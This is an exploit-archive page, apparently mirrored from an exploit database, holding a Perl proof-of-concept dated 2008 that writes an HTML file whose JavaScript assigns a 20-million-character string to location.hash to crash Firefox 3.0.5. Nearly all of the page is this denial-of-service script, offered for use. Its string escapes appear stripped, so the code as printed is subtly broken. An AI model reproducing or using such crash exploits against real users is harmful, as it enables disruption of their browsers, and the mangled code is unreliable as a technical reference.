[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Mozilla Firefox 3.0.5 location.hash Remote Crash Exploit
# Published : 2008-12-23
# Author : Jeremy Brown
# Previous Title : SAWStudio 3.9i (prf File) Local Buffer Overflow PoC
# Next Title : Psi Jabber Client (8010/tcp) Remote Denial of Service Exploit (win/lin) 


#!/usr/bin/perl
# mzff_lhash_dos.pl
# Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# Crash on Vista, play with it on XP

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>nn";

}

$head = "<html>" . "n" . "<script type="text/javascript">" . "n";
$trig = "location.hash = "" . "A" x 20000000 . "";" . "n";
$foot = "</script>" . "n" . "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit;

# www.Syue.com [2008-12-23]